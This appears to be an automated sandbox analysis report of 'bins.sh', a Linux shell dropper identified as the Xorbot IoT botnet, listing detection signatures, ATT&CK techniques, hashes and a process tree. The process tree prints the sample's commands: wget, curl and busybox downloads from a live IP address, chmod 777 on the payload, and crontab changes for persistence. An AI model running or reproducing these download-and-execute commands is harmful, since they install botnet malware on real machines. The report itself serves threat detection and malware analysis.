Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    31/01/2025, 12:12

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250131-pc573axlar
  • SHA256 0b94c48747b796df1496afe5cb81d65a3a2b5bdb21851fddd602e658007bdb36
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2186) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    • Renames itself
    • Reads runtime system information
    PID:1498
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1499
      • /usr/bin/wget
        wget http://94.154.35.94/bins/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • Writes file to tmp directory
        PID:1500
      • /usr/bin/curl
        curl -O http://94.154.35.94/bins/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • Writes file to tmp directory
        PID:1504
      • /bin/busybox
        /bin/busybox wget http://94.154.35.94/bins/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • Writes file to tmp directory
        PID:1513
      • /bin/chmod
        chmod 777 0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
        2⤵
        • File and Directory Permissions Modification
        PID:1514
      • /usr/bin/crontab
        crontab -l
        2⤵
          PID:1518
        • /usr/bin/crontab
          crontab -
          2⤵
          • Creates/modifies Cron job
          PID:1520
        • /bin/rm
          rm 0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
          2⤵
            PID:1522
          • /usr/bin/wget
            wget http://94.154.35.94/bins/0dvb1OhRkoiRyAvH2rA2YaYnzGeQ93VNZt
            2⤵
              PID:1525

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32

                • Path /tmp/0MqEnYm0Qu5wJU5JveINHsqSXEjKVkhO32
                • Size 98KB
                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                • MD5 SHA1 SHA512 SSDEEP

                tmp.Sjmyes

                • Path /var/spool/cron/crontabs/tmp.Sjmyes
                • Size 210B
                • SHA256 99225d3fa5e5a755923e6f814a8fbb103e49e4876900752eb1f08433eca299c0
                • MD5 SHA1 SHA512